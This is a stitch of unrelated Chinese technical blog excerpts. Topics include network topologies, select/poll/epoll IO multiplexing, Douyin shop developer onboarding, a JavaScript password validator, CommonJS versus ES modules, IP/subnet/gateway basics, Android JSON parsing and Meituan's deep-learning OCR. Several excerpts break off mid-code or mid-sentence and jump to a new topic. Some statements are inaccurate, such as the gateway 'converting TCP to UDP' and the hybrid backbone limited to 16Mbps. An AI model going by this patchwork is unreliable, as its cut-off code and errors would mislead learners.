信息流在网中是沿着固定方向流动的,两个节点仅有一条道路,故简化了路径选择的控制;环路上各节点都是自举控制,故控制软件简单;由于信息源在环路中是串行地穿过各个节点,当环中节点过多时,势必影响信息传输速率,使网络的响应时间延长;环路是封闭的,不便于扩充;可靠性低,一个节点故障,将会造成全网瘫痪;维护难,对分支节点故障定位较难。 (2)环型拓扑结构的结构特点:
这种网络结构一般仅适用于IEEE 802.5的令牌网(Token ring network),在这种网络中,"令牌"是在环型连接中依次传递。所用的传输介质一般是同轴电缆。这种网络实现也非常简单,投资最小。可以从其网络结构示意图中看出,组成这个网络除了各工作站就是传输介质--同轴电缆,以及一些连接器材,没有价格昂贵的节点集中设备,如集线器和交换机。但也正因为这样,所以这种网络所能实现的功能最为简单,仅能当作一般的文件服务模式;传输速度较快:在令牌网中允许有16Mbps的传输速度,它比普通的10Mbps以太网要快许多。当然随着以太网的广泛应用和以太网技术的发展,以太网的速度也得到了极大提高,目前普遍都能提供100Mbps的网速,远比16Mbps要高。维护困难:从其网络结构可以看到,整个网络各节点间是直接串联,这样任何一个节点出了故障都会造成整个网络的中断、瘫痪,维护起来非常不便。另一方面因为同轴电缆所采用的是插针式的接触方式,所以非常容易造成接触不良,网络中断,而且这样查找起来非常困难,这一点相信维护过这种网络的人都会深有体会。扩展性能差:也是因为它的环型结构,决定了它的扩展性能远不如星型结构的好,如果要新添加或移动节点,就必须中断整个网络,在环的两端作好连接器才能连接。 4、树型网络拓扑结构 树型拓扑结构是一种层次结构,结点按层次连结,信息交换主要在上下结点之间进行,相邻结点或同层结点之间一般不进行数据交换。树型拓扑结构是就是数据结构中的树。树型拓扑结构图如下:
(1)树形拓扑结构的网络特点:
网络结构简单,便于管理;控制简单,建网容易;网络延迟时间较短,误码率较低;网络共享能力较差;通信线路利用率不高;中央结点负荷太重。 (2)树型拓扑结构的结构特点:
易于扩充。树形结构可以延伸出很多分支和子分支,这些新节点和新分支都能容易地加入网内。故障隔离较容易。如果某一分支的节点或线路发生故障,很容易将故障分支与整个系统隔离开来。各个节点对根节点的依赖性太大。如果根发生故障,则全网不能正常工作。 5、网状网络拓扑结构 网络拓扑结构又称作无规则结构,结点之间的联结是任意的,没有规律。网状拓扑结构图如下: //适用于广域网
网状网络拓扑结构的结构特点:
网络可靠性高,一般通信子网中任意两个节点交换机之间,存在着两条或两条以上的通信路径,这样,当一条路径发生故障时,还可以通过另一条路径把信息送至节点交换机。网络可组建成各种形状,采用多种通信信道,多种传输速率。网内节点共享资源容易。可改善线路的信息流量分配。可选择最佳路径,传输延迟小。 网状形网是广域网中最常采用的一种网络形式,是典型的点到点结构。在网状拓扑结构中,网络的每台设备之间均有点到点的链路连接,这种连接不经济,只有每个站点都要频繁发送信息时才使用这种方法。它的安装也复杂,但系统可靠性高,容错能力强。有时也称为分布式结构。
6、混合网络型拓扑结构 混合型网络拓扑结构就是指同时使用上面的5种网络拓扑结构种两种或两种以上的网络拓扑结构。
这种网络拓扑结构是由星型结构和总线型结构的网络结合在一起的网络结构,这样的拓扑结构更能满足较大网络的拓展,解决星型网络在传输距离上的局限,而同时又解决了总线型网络在连接用户数量的限制。这种网络拓扑结构同时兼顾了星型网与总线型网络的优点,在缺点方面得到了一定的弥补。混合网络型拓扑结构图如下: 混合型网络拓扑结构的结构特点如下:
(1)应用广泛
这主要是因它解决了星型和总线型拓扑结构的不足,满足了大公司组网的实际需求。目前在一些智能化的信息大厦中的应用非常普遍。在一幢大厦中,各楼层间采用光纤作为总线传输介质,一方面可以保证网络传输距离,另一方面,光纤的传输性能要远好于同轴电缆, 所以,在传输性能上也给予了充分保证。当然投资成本会有较大增加,在一些较小建筑物中 也可以采用同轴电缆作为总线传输介质。各楼层内部仍普遍采用使用双绞线星型以太网。
(2)扩展灵活
这主要是继承了星型拓扑结构的优点。但由于仍采用广播式的消息传送方式,所以在总 线长度和节点数量上也会受到限制,不过在局域网中的影响并不是很大。
(3)性能差
因为其骨干网段(总线段)采用总线网络连接方式,所以各楼层和各建筑物之间的网络互联性能较差,仍局限于最高16Mbps的速率。另外,这种结构网络具有总线型网络结构的弱点,网络速率会随着用户的增多而下降。当然在采用光纤作为传输介质的混合型网络中,这些影响还是比较小的。
(4)较难维护
这主要受到总线型网络拓扑结构的制约,如果总线断,则整个网络也就瘫痪了,但是如果是分支网段出了故障,则不影响整个网络的正常运作。再一个就是整个网络非常复杂,维护起来不容易。
目录 一. 基础selectpollepoll 二. redis 与多路复用 一. 基础 首先知道一下五种io模型有个概念 Blocking IO: 阻塞IO
NoneBlockin IO: 非阻塞IO
IO multiplexing (redis6实际应用的io) : IO多路复用
signal driven IO: 信号驱动IO
asynchronous IO: 异步IO
通过BIO,NIO 解释多路复用是怎么一步步演变出来的 BIO网络通信时会小于accept()阻塞等待客户端连接,调用read()阻塞等待客户端请求,会产生两个阻塞,假设一个客户端没有执行完毕,会造成其它请求一直阻塞等待,解决这个问题,可以通过多线程的方式,新建线程处理每个客户端请求,但是操作系统中用户态不能直接开辟线程,需要调用内核来创建,会有用户态到内核态的上下文切换,十分耗费资源,所以提出NIO非阻塞式IO进行通信NIO网络通信中,将多个socket连接放入一个连接容器中,以Java I/O框架为例通过一个线程使用Java的Selector来同时监控多个通道,遍历这个连接容器拿到每个连接,然后调用read方法判断客户端是否传输数据,出现两个问题,要遍历所有连接,假设多个连接中只有少量的几个连接有请求数据,也要遍历一遍,问题二,调用read方法判断客户端是否有传输数据,遍历是在用户态进行的,调用内核态的read()方法,虽然read()不阻塞,但是涉及到用户态到内核态的切换,每遍历调用一次就要切换一次开销较大 进而提出了IO多路复用, 将请求封装为文件描述符FD(文件描述符可以是套接字、管道等 I/O 设备等),将多个请求的文件描述符保存到一个集合中创建一个事件集合()event set)将需要监听的文件描述符添加到事件集合中,在Linux中,可以使用epoll_create函数创建一个epoll实例,并使用epoll_ctl函数将需要监听的文件描述符添加到epoll实例中调用select、poll或epoll等系统调用,将事件集合传递给内核,并等待事件的发生,在Linux中.可以使用epoll_wait函数等待事件的发生,并将发生事件的文件描述符及其事件类型返回给应用程序。当发送事件后根据返回的事件类型,进行相应的处理,例如:如果是读事件,就读取数据并进行处理,如果是写事件,就写入数据并进行处理,如果是连接事件,就接受连接并进行处理 多路复用的优点是: 将Socket请求, 管道等 I/O等封装为FD文件描述符,内部通过专门的线程去处理,减少线程的创建与销毁,减少资源浪费以Linux为例,通过select、poll 或 epoll 等系统调用,将监听文件描述符集合传递给内核,直接放入Linux内核上,不再出现用户态到内核态的切换,直接从内核态获取结果,内核是非阻塞的,也减少资源浪费 Linux中IO多路复用通过select, poll, epoll 三大函数实现,又被称为event driver IO事件驱动IO, 一个进程同时等待多个文件描述符也就是socket套接字,socket连接,其中任意一个进入就绪状态,select函数就可以返回,相当于监听到了事件开始执行将socket对应的fd注册到epoll, 通过epoll来监听socket上的消息,整个过程只在调用select, poll, epoll这三个函数时才会阻塞,收发客户消息是不会阻塞的,整个进程或线程都被充分利用起来了select, poll, epoll解释 select模型: 使用数组来存储Socket连接文件描述符, 容量是固定的,需要通过轮询来判断是否发生了IO事件poll模型: 使用链表来存储Socket连接文件描述符,容量是不固定的,同样需要轮询来判断是否发生了IO事件epoll模型: epoll是一种事件通知模型,当发生了IO事件时,应用程序才会进行IO操作,不需要像poll模型那样主动轮询
select select版本多路复用时涉及到的函数 /* According to POSIX.1-2001 */ #include <sys/select.h> /* According to earlier standards */ #include <sys/time.
因为完整经历过一个店铺从0到1的推进过程,所以在这里讲讲一个店铺的开发者自用需要经历哪些步骤,希望对小白的你有一丝帮助。
抖店入门指南 1、申请抖店2、新店开发者主体平台入驻3、接口收费与抖店云 关于接口收费关于抖店云资源的申请 1、申请抖店 申请一个抖店账号访问抖音电商首页:https://fxg.jinritemai.com/使用信息申请一个账号然后就是根据引导,提交商家主体营销资质、法人信息、缴纳保证金(类目不同价格不同,都要几万以上)、开通支付方式正常开店还要做很多新手期任务,注意新手期任务必须按时按量完成新手期任务完成大部分就可以进行店铺的运营,包括上产品、直播、精选联盟等新店到达2个月的新手期就会产生店铺体验分,这个很重要,后续店铺的运营将紧紧围绕这个评分来开展 以上,如果你纯粹是一个实体店铺,打单发货都借助的抖店这个平台,那至此你就可以运营了。
但是不少企业是软件开发商,做一些集合性的商品代理的,会需要使用到开发者接入,以下就列举下开发者接入需要准备的材料。
2、新店开发者主体平台入驻 步骤1这边把平台账号开出来后,1和2是可以并行推进的,不需要等店铺全部收拾好才能进行开发者的申请。
登录https://op.jinritemai.com/home,直接使用刚才申请的抖店的账密即可。
按照页面流程完成认证和开发:
a.营业执照
b.公司名称
c.统一社会信用代码
d.经营地址
e.客服电话
f.法人身份证照片
以上步骤审核需要1-3个工作日,注意可以催审,虽然标明不超过3个工作日不接受催审,但实测有效
催审可以工单、页面客服、店小二
运营负责与新店资质同步申请
a.开通抖店平台的账号后可以同步进行
b.主体不同、主体非同一法人、主体无关联必须重新申请
新店开发者商家自研应用创建
a.按照抖店模板填写系统功能说明书
b.软件著作权证书
c.著作权人
d.登记号
e.登录界面、功能界面截图
1-3个工作日,可以催审
应用开发对接
a.权限包配置
b.IP白名单配置
c.消息推送配置
d.任务中心任务必要对接(基本列举的都需要完成测试,如不需要要申请拒绝,但可能影响开发者评分)
e.特殊接口加白(这边根据不同领域和业务流程,如果前期调研有需要一定一定要提前申请,一般比较慢的)
到目前为止,申请的流程是完成了,就需要真实开发功能了。
3、接口收费与抖店云 注意:
抖店从2023年4月1日开始对服务商接口调用收费2023年6月1日开始对商家自研应用接口调用收费2023年6月底开始要求服务商应用敏感信息接口调用入云2023年8月底开始后要求存量商家自研应用敏感信息接口调用入云2023年5月开始的新增店铺一律要求敏感信息接口调用入云。 关于接口收费 关于抖店云接口调用收费具体参见:https://op.jinritemai.com/docs/platform-notice/5/3396
注意开发者账户预充值,出账开票开票信息需要银行开户证明+一般纳税人证明 关于抖店云资源的申请 从抖店开发者后台可以直接登录抖店云后台,操作上就是简版的云平台后台,正常进行ECS+云组件的购买,但是抖店对应用的云内要求逐步提升
具体参看入云和验收要求:https://op.jinritemai.com/docs/guide-docs/1210/2977
云内资源的购买,也需要预充值,在出账开票开票信息需要银行开户证明 以上步骤是很简略,但是当我是小白的时候,前前后后花费了不少时间来提交各种资质,以及只能提工单问一些具体的问题,希望这份指南能给你框一个大致的轮廓,帮助你有条不紊地安排小店的开张。
密码校验规则:要求长度不小于8,需含大小写字母、数字和特殊字符(~!@#¥%&*_) function validatePassword(password) { // 检查密码长度 if (password.length < 8) { return false; } // 检查是否包含小写字母、大写字母、数字和特殊字符 var lowercaseRegex = /[a-z]/; var uppercaseRegex = /[A-Z]/; var digitRegex = /[0-9]/; var specialCharRegex = /[~!@#¥%&*_]/; if (!lowercaseRegex.test(password)) { return false; } if (!uppercaseRegex.test(password)) { return false; } if (!digitRegex.test(password)) { return false; } if (!specialCharRegex.test(password)) { return false; } // 密码通过所有验证规则 return true; } // 测试 var password = "Abcdefg1~"; var isValid = validatePassword(password); console.
最近测试了几个 ES module 和 Commonjs 的例子,理解了之前不太理解的概念,记录一下。要是想多了解的可以去看看阮老师的 Module 那部分。会贴一小部分的代码,不会贴所有验证的代码。
Commonjs require 大概流程 本质上 Commonjs 一直是 node 在使用的规范,虽然其他平台也可以使用。
处理路径,node 有专门的 path 模块和__dirname 等,将路径转成绝对路径,定位目标文件检查缓存读取文件代码(fs)包裹一个函数并执行(自执行函数)缓存返回 module.exports ES module 大概流程 最重要的应该是解析依赖了,ES module 如果都是同步的,会很慢。都说 ES module 是异步的,在不同环境会有不同的结果。其实 ES module 的三个步骤是可以分开异步进行。在浏览器,会使用 HTML 的规范,最后的实例化是同步,在 node 环境,文件都是在本地,同步就显得很容易。
模块解析,入口文件开始,构建 Module Record,然后放置到 Module Map。Module Map 相当于每一个 js 文件,Module Record 相当于里面依赖的每一个 import获取文件,解析文件,进行 JavaScript 的解析,变量提升等实例化,执行文件内容 exports 与 module.exports Commonjs 可以用 exports.xxx 导出,也可以用 module.exports = {}导出,因为整个文件读取之后会包裹到一个自执行函数,差不多是这样:
(function(exports, require, module, filename, dirname){ })(exports, require, module, filename, dirname) 如果直接 exports = {}那么导出是无效的。下面三个例子就可以很好的理解:
目录
1、局域网和广域网
(1)什么是局域网?
(2)什么是广域网和互联网(Internet)?
(3)局域网和广域网的区别
2、IP地址、子网掩码、网关、MAC地址
(1)什么是IP地址?
(2)什么是子网掩码?
(3)什么是网关?
(4)什么是MAC地址?
1、局域网和广域网 (1)什么是局域网? 局域网(Local Area Network,LAN)是指在相对较小的地理范围内(如办公室、学校、企业内部等)建立起来的计算机网络。局域网通常用于连接位于同一物理位置的设备,使这些设备能够进行数据交换和共享资源。
局域网一般覆盖范围小,如一个学校的局域网络,设备自己购买和维护,而且带宽是固定的(购买的交换机带宽固定为100M或者1000M等)。
如图为一个局域网图示:
(2)什么是广域网和互联网(Internet)? 广域网(Wide Area Network,WAN)是指覆盖范围更广、跨越较大地理区域的计算机网络。与局域网相比,广域网连接的地理范围更大,可以跨越城市、国家甚至全球范围。
互联网(Internet)是一个全球性的计算机网络系统,它连接了全球各地的计算机网络和设备,使它们能够互相通信和交换信息。互联网是一个庞大而分布式的网络,由无数的计算机、服务器、路由器和其他网络设备组成。
Internet网络由多个运营商组成,每个运营商都有自己的机房,对用户提供Internet访问。广域网覆盖范围广,用户与服务器之间的距离大于100米,带宽不固定(通过付费形式买带宽)。
(3)局域网和广域网的区别 局域网(Local Area Network,LAN)和广域网(Wide Area Network,WAN)是两种不同范围和特性的计算机网络。它们在覆盖范围、传输速率、拓扑结构和使用场景等方面有着明显的区别。
1)覆盖范围:
局域网:局域网的覆盖范围相对较小,通常局限在一个建筑物、校园、办公区域等较小的地理范围内。广域网:广域网的覆盖范围较大,可以跨越城市、国家甚至全球范围,连接位于不同地理位置的设备。 2)传输速率:
局域网:局域网通常提供较高的传输速率,可以达到几百兆甚至几个千兆的速度,以支持高带宽需求和快速数据交换。广域网:广域网的传输速率通常较低,受制于长距离传输、网络拓扑和公共基础设施等因素,速率可能较局域网低。 3)拓扑结构:
局域网:局域网通常采用简单的拓扑结构,如星型拓扑、总线拓扑或环形拓扑等,连接设备的距离相对较近。广域网:广域网采用更为复杂的拓扑结构,使用路由器、交换机等设备连接远程地点,跨越长距离进行数据传输。 5)使用场景:
局域网:局域网通常用于连接位于同一地理位置的设备,如办公室、学校、企业内部等,用于内部通信、资源共享和协作。广域网:广域网用于连接不同地理位置的分支机构、远程办公场所或远程用户,实现远程访问、数据交换和远程协作。 6)控制权:
局域网:局域网通常由组织或个人拥有和管理,可以自由控制和配置网络设备、安全策略和资源共享。广域网:广域网通常是公共网络,由电信运营商或其他网络服务提供商负责管理和维护,网络配置和策略受限。 2、IP地址、子网掩码、网关、MAC地址 (1)什么是IP地址? IP地址(Internet Protocol Address)是互联网中用于标识和定位设备(如计算机、服务器、路由器等)的唯一标识符。它是一个由数字和点组成的标识串,用于在网络中准确定位和寻址设备。
IP地址使用的是互联网协议(IP)来进行通信。IP地址分为IPv4和IPv6两种版本。
IPv4(Internet Protocol version 4):IPv4是目前广泛使用的IP地址版本。它由32位二进制数字组成,通常表示为点分十进制形式,如192.168.0.1。IPv4地址共有约42亿个,由四个8位的数字组成,每个数字范围从0到255。IPv4地址中的一部分用于标识网络,另一部分用于标识设备。IPv6(Internet Protocol version 6):IPv6是IPv4的后继版本,由128位二进制数字组成,通常表示为冒号分隔的十六进制形式,如2001:0db8:85a3:0000:0000:8a2e:0370:7334。IPv6地址相比于IPv4地址更为庞大,提供了约340万亿亿亿亿(3.4 × 10^38)个唯一的地址。 IP地址的作用是在网络中唯一标识和定位设备。它允许设备之间相互通信和交换数据。通过使用IP地址,数据包可以被正确地路由到目标设备,实现设备之间的连接和互联网上的通信。
在网络通信中,IP地址通常与端口号一起使用。端口号用于标识设备上具体的应用程序或服务,以实现多个应用程序在同一设备上进行并行通信。通过将IP地址和端口号组合在一起,可以准确定位到具体的应用程序或服务。
(2)什么是子网掩码? 子网掩码(Subnet Mask)是一个与IP地址一起使用的32位二进制数,用于划分IP地址的主机部分和网络部分。它用于确定给定IP地址的网络标识和主机标识。// 主要用来划分网络
子网掩码的作用是将IP地址分成两个部分:网络部分和主机部分。网络部分用于标识所属的网络,而主机部分用于标识特定网络中的具体主机。
子网掩码使用1和0的组合来表示网络和主机部分。在子网掩码中,连续的1表示网络部分,连续的0表示主机部分。例如,对于IPv4地址192.168.0.1和子网掩码255.255.255.0,将IP地址和子网掩码进行逐位的逻辑与运算,可以得到网络地址192.168.0.0和主机地址0.0.0.1。这意味着该IP地址属于网络192.168.0.0,并且主机标识为0.0.0.1。
子网掩码的长度通常与IP地址的版本有关。对于IPv4地址,常见的子网掩码长度是24位(255.255.255.0),16位(255.255.0.0)或8位(255.0.0.0)。对于IPv6地址,常见的子网掩码长度是64位、128位等。
使用子网掩码可以实现对IP地址的灵活划分和管理,允许网络管理员根据需要创建和管理不同大小的子网。子网掩码还用于确定IP地址的网络范围和广播地址。通过结合IP地址和子网掩码,网络设备可以判断两个IP地址是否属于同一网络,以便进行数据包的路由和转发。
(3)什么是网关? 网关(Gateway)是连接两个或多个不同网络的设备或节点。网关充当网络之间的桥梁,负责将数据包从一个网络传递到另一个网络,实现网络之间的通信和数据交换。// 网关是不同网络间的桥梁
网关在网络通信中起到以下几个重要的作用:
数据转发:网关接收来自源网络的数据包,根据目标网络的地址信息将其转发到正确的目标网络。它负责解析目标网络的地址,并根据路由表或策略来选择正确的路径进行数据转发。协议转换:网关可以实现不同网络之间的协议转换,使得使用不同协议的网络可以进行互联。例如,将来自一个网络使用TCP/IP协议的数据包转换成另一个网络所使用的UDP协议。安全控制:网关可以对数据包进行安全过滤和访问控制,保护网络免受未经授权的访问和网络攻击。它可以实施防火墙策略、访问控制列表(ACL)等安全机制来监控和控制数据包的流动。NAT(网络地址转换):网关可以执行网络地址转换,将内部网络中的私有IP地址转换成外部网络中的公共IP地址,以便与外部网络进行通信。这样可以解决IP地址不足的问题,并提供更好的网络安全性。DNS解析:网关可以作为DNS(域名系统)服务器,处理DNS查询请求,将域名解析为相应的IP地址,以实现网络中的域名解析功能。 网关可以是硬件设备(如路由器、交换机)或软件实现(如网络中的某个计算机或服务器)。根据网络的规模和需求,可以存在多个网关来实现不同网络之间的连接。
Some problems encountered and their answers in work (Android Chapter) Android 如何解析一个.json文件 在Android中,我们通常使用JSON格式来与后端服务器通信,需要解析JSON数据来提取有用的信息。解析JSON数据通常分为两个阶段:首先将JSON数据解析为JSON对象或JSON数组,然后从中提取所需的信息。 以下是一个简单的示例,演示如何解析一个本地JSON文件: 假设我们有一个名为"example.json"的本地JSON文件,它包含以下内容: json { "name": "John Smith", "age": 35, "isMarried": true, "hobbies": [ "reading", "fishing", "hiking" ] } 我们可以使用Android中的JSON API来解析这个文件。以下是一些示例代码,假设我们希望从JSON文件中提取姓名和年龄: import org.json.JSONObject import java.io.BufferedReader import java.io.InputStreamReader // 读取JSON文件并创建JSON对象 val inputStream = resources.assets.open("example.json") val bufferedReader = BufferedReader(InputStreamReader(inputStream)) val jsonString = bufferedReader.use { it.readText() } val jsonObject = JSONObject(jsonString) // 从JSON对象中提取所需信息 val name = jsonObject.getString("name") val age = jsonObject.
OCR文字识别定义 OCR(optical character recognition)文字识别是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,然后用字符识别方法将形状翻译成计算机文字的过程;即,对文本资料进行扫描,然后对图像文件进行分析处理,获取文字及版面信息的过程。如何除错或利用辅助信息提高识别正确率,是OCR最重要的课题。衡量一个OCR系统性能好坏的主要指标有:拒识率、误识率、识别速度、用户界面的友好性,产品的稳定性,易用性及可行性等。
由于扫描仪的普及与广泛应用,OCR软件只需提供与扫描仪的接口,利用扫描仪驱动软件即可。因此,OCR软件主要是由下面几个部分组成。
图像输入、预处理:
图像输入:对于不同的图像格式,有着不同的存储格式,不同的压缩方式。预处理:主要包括二值化,噪声去除,倾斜较正等二值化:
对摄像头拍摄的图片,大多数是彩色图像,彩色图像所含信息量巨大,对于图片的内容,我们可以简单的分为前景与背景,为了让计算机更快的,更好的识别文字,我们需要先对彩色图进行处理,使图片只前景信息与背景信息,可以简单的定义前景信息为黑色,背景信息为白色,这就是二值化图了。噪声去除:
对于不同的文档,我们对噪声的定义可以不同,根据噪声的特征进行去噪,就叫做噪声去除倾斜较正:
由于一般用户,在拍照文档时,都比较随意,因此拍照出来的图片不可避免的产生倾斜,这就需要文字识别软件进行较正。版面分析:
将文档图片分段落,分行的过程就叫做版面分析,由于实际文档的多样性,复杂性,因此,还没有一个固定的,最优的切割模型。字符切割:
由于拍照条件的限制,经常造成字符粘连,断笔,因此极大限制了识别系统的性能,这就需要文字识别软件有字符切割功能。字符识别:
这一研究,已经是很早的事情了,比较早有模板匹配,后来以特征提取为主,由于文字的位移,笔画的粗细,断笔,粘连,旋转等因素的影响,极大影响特征的提取的难度。版面恢复:
人们希望识别后的文字,仍然像原文档图片那样排列着,段落不变,位置不变,顺序不变,的输出到word文档,pdf文档等,这一过程就叫做版面恢复。后处理、校对:
根据特定的语言上下文的关系,对识别结果进行较正,就是后处理。 开发一个OCR文字识别软件系统,其目的很简单,只是要把影像作一个转换,使影像内的图形继续保存、有表格则表格内资料及影像内的文字,一律变成计算机文字,使能达到影像资料的储存量减少、识别出的文字可再使用及分析,当然也可节省因键盘输入的人力与时间。
从影像到结果输出,须经过影像输入、影像前处理、文字特征抽取、比对识别、最后经人工校正将认错的文字更正,将结果输出。
以美团的OCR识别为例
基于深度学习的OCR 文字是不可或缺的视觉信息来源。相对于图像/视频中的其他内容,文字往往包含更强的语义信息,因此对图像中的文字提取和识别具有重大意义。OCR在美团业务中主要起着两方面作用。一方面是辅助录入,比如在移动支付环节通过对银行卡卡号的拍照识别以实现自动绑卡,辅助运营录入菜单中菜品信息,在配送环节通过对商家小票的识别以实现调度核单,如图1所示。另一方面是审核校验,比如在商家资质审核环节对商家上传的身份证、营业执照和餐饮许可证等证件照片进行信息提取和核验以确保该商家的合法性,机器过滤商家上单和用户评价环节产生的包含违禁词的图片。
OCR技术发展历程 传统的OCR基于图像处理(二值化、连通域分析、投影分析等)和统计机器学习(Adaboost、SVM),过去20年间在印刷体和扫描文档上取得了不错的效果。传统的印刷体OCR解决方案整体流程如图所示。
从输入图像到给出识别结果经历了图像预处理、文字行提取和文字行识别三个阶段。其中文字行提取的相关步骤(版面分析、行切分)会涉及大量的先验规则,而文字行识别主要基于传统的机器学习方法。随着移动设备的普及,对拍摄图像中的文字提取和识别成为主流需求,同时对场景中文字的识别需求越来越突出。因此,相比于印刷体场景,拍照文字的识别将面临以下三方面挑战:
成像复杂。噪声、模糊、光线变化、形变。文字复杂。字体、字号、色彩、磨损、笔画宽度任意、方向任意。场景复杂。版面缺失、背景干扰。 对于上述挑战,传统的OCR解决方案存在着以下不足:
通过版面分析(连通域分析)和行切分(投影分析)来生成文本行,要求版面结构有较强的规则性且前背景可分性强(例如黑白文档图像、车牌),无法处理前背景复杂的随意文字(例如场景文字、菜单、广告文字等)。另外,二值化操作本身对图像成像条件和背景要求比较苛刻。通过人工设计边缘方向特征(例如方向梯度直方图)来训练字符识别模型,在字体变化、模糊或背景干扰时,此类单一的特征的泛化能力迅速下降。过度依赖于字符切分的结果,在字符扭曲、粘连、噪声干扰的情况下,切分的错误传播尤其突出。尽管图像预处理模块可有效改善输入图像的质量,但多个独立的校正模块的串联必然带来误差传递。另外由于各模块优化目标独立,它们无法融合到统一的框架中进行。 为了解决上述问题,现有技术在以下三方面进行了改进。
1. 文字行提取 传统OCR(如图3所示)采取自上而下的切分式,但它只适用于版面规则背景简单的情况。该领域还有另外两类思路。
自底向上的生成式方法。该类方法通过连通域分析或最大稳定极值区域(MSER)等方法提取候选区域,然后通过文字/非文字的分类器进行区域筛选,对筛选后的区域进行合并生成文字行,再进行文字行级别的过滤,如图3所示。该类方法的不足是,一方面流程冗长导致的超参数过多,另一方面无法利用全局信息。
基于滑动窗口的方法。该类方法利用通用目标检测的思路来提取文字行信息,利用训练得到的文字行/词语/字符级别的分类器来进行全图搜索。原始的基于滑动窗口方法通过训练文字/背景二分类检测器,直接对输入图像进行多尺度的窗口扫描。检测器可以是传统机器学习模型(Adaboost、Random Ferns),也可以是深度卷积神经网络。 为了提升效率,DeepText、TextBoxes等方法先提取候选区域再进行区域回归和分类,同时该类方法可进行端到端训练,但对多角度和极端宽高比的文字区域召回低。
2. 传统单字识别引擎→基于深度学习的单字识别引擎 由于单字识别引擎的训练是一个典型的图像分类问题,而卷积神经网络在描述图像的高层语义方面优势明显,所以主流方法是基于卷积神经网络的图像分类模型。实践中的关键点在于如何设计网络结构和合成训练数据。对于网络结构,我们可以借鉴手写识别领域相关网络结构,也可采用OCR领域取得出色效果的Maxout网络结构,如图4所示。对于数据合成,需考虑字体、形变、模糊、噪声、背景变化等因素。
表1给出了卷积神经网络的特征学习和传统特征的性能比较,可以看出通过卷积神经网络学习得到的特征鉴别能力更强。
3. 文字行识别流程 传统OCR将文字行识别划分为字符切分和单字符识别两个独立的步骤,尽管通过训练基于卷积神经网络的单字符识别引擎可以有效提升字符识别率,但切分对于字符粘连、模糊和形变的情况的容错性较差,而且切分错误对于识别是不可修复的。因此在该框架下,文本行识别的准确率主要受限于字符切分。假设已训练单字符识别引擎的准确率p=99%,字符切分准确率为q= 95%,则对于一段长度为L的文字行,其识别的平均准确率为P= (pq)的L次方,其中L=10时,P=54.1%。
由于独立优化字符切分提升空间有限,因此有相关方法试图联合优化切分和识别两个任务。现有技术主要可分为基于切分的方法(Segmentation-Based)和不依赖切分的方法(Segmentation- Free)两类方法。
基于切分的方法
该类方法还是保留主动切分的步骤,但引入了动态合并机制,通过识别置信度等信息来指导切分,如图所示。
过切分模块将文字行在垂直于基线方向上分割成碎片,使得其中每个碎片至多包含一个字符。通常来说,过切分模块会将字符分割为多个连续笔划。过切分可以采用基于规则或机器学习的方法。规则方法主要是直接在图像二值化的结果上进行连通域分析和投影分析来确定候补切点位置,通过调整参数可以控制粒度来使得字符尽可能被切碎。基于规则的方法实现简单,但在成像/背景复杂的条件下其效果不好。机器学习方法通过离线训练鉴别切点的二类分类器,然后基于该分类器在文字行图像上进行滑窗检测。
动态合并模块将相邻的笔划根据识别结果组合成可能的字符区域,最优组合方式即对应最佳切分路径和识别结果。直观来看,寻找最优组合方式可转换为路径搜索问题,对应有深度优先和广度优先两种搜索策略。深度优先策略在每一步选择扩展当前最优的状态,因此全局来看它是次优策略,不适合过长的文字行。广度优先策略在每一步会对当前多个状态同时进行扩展,比如在语音识别领域广泛应用的Viterbi解码和Beam Search。但考虑到性能,Beam Search通常会引入剪枝操作来控制路径长度,剪枝策略包含限制扩展的状态数(比如,每一步只扩展TopN的状态)和加入状态约束(比如,合并后字符形状)等。
由于动态合并会产生多个候选路径,所以需要设计合适的评价函数来进行路径选择。评价函数的设计主要从路径结构损失和路径识别打分两方面出发。路径结构损失主要从字符形状特征方面衡量切分路径的合理性,路径识别打分则对应于特定切分路径下的单字平均识别置信度和语言模型分。
该方案试图将字符切分和单字符识别融合在同一个框架下解决,但由于过分割是独立的步骤,因此没有从本质上实现端到端学习。
不依赖切分的方法
该类方法完全跨越了字符切分,通过滑动窗口或序列建模直接对文字行进行识别。
滑窗识别借鉴了滑动窗口检测的思路,基于离线训练的单字识别引擎,对文字行图像从左到右进行多尺度扫描,以特定窗口为中心进行识别。在路径决策上可采用贪心策略或非极大值抑制(NMS)策略来得到最终的识别路径。图6给出了滑窗识别的示意流程。可见滑窗识别存在两个问题:滑动步长的粒度过细则计算代价大,过粗则上下文信息易丢失;无论采用何种路径决策方案,它们对单字识别的置信度依赖较高。
序列学习起源于手写识别、语音识别领域,因为这类问题的共同特点是需要对时序数据进行建模。尽管文字行图像是二维的,但如果把从左到右的扫描动作类比为时序,文字行识别从本质上也可归为这类问题。通过端到端的学习,摒弃矫正/切分/字符识别等中间步骤,以此提升序列学习的效果,这已经成为当前研究的热点。
基于现有技术和美团业务涉及的OCR场景,我们在文字检测和文字行识别采用如图所示的深度学习框架。
基于深度学习的文字检测 对于美团的OCR场景,根据版面是否有先验信息(卡片的矩形区域、证件的关键字段标识)以及文字自身的复杂性(如水平文字、多角度),图像可划分为受控场景(如身份证、营业执照、银行卡)和非受控场景(如菜单、门头图),如图所示。
考虑到这两类场景的特点不同,我们借鉴不同的检测框架。由于受控场景文字诸多约束条件可将问题简化,因此利用在通用目标检测领域广泛应用的Faster R-CNN框架进行检测。而对于非受控场景文字,由于形变和笔画宽度不一致等原因,目标轮廓不具备良好的闭合边界,我们需要借助图像语义分割来标记文字区域与背景区域。
受控场景的文字检测 对于受控场景(如身份证),我们将文字检测转换为对关键字目标(如姓名、身份证号、地址)或关键条目(如银行卡号)的检测问题。基于Faster R-CNN的关键字检测流程如图9所示。为了保证回归框的定位精度,同时提升运算速度,我们对原有框架和训练方式进行了微调。
考虑到关键字或关键条目的类内变化有限,网络结构只采用了3个卷积层。训练过程中提高正样本的重叠率阈值。根据关键字或关键条目的宽高比范围来适配RPN层Anchor的宽高比。 Faster R-CNN框架由RPN(候选区域生成网络)和RCN(区域分类网络)两个子网络组成。RPN通过监督学习的方法提取候选区域,给出的是无标签的区域和粗定位结果。RCN引入类别概念,同时进行候选区域的分类和位置回归,给出精细定位结果。训练时两个子网络通过端到端的方式联合优化。图10以银行卡卡号识别为例,给出了RPN层和RCN层的输出。
对于人手持证件场景,由于证件目标在图像中所占比例过小,直接提取微小候选目标会导致一定的定位精度损失。为了保证高召回和高定位精度,可采用由粗到精的策略进行检测。首先定位卡片所在区域位置,然后在卡片区域范围内进行关键字检测,而区域定位也可采用Faster R-CNN框架,如图11所示。
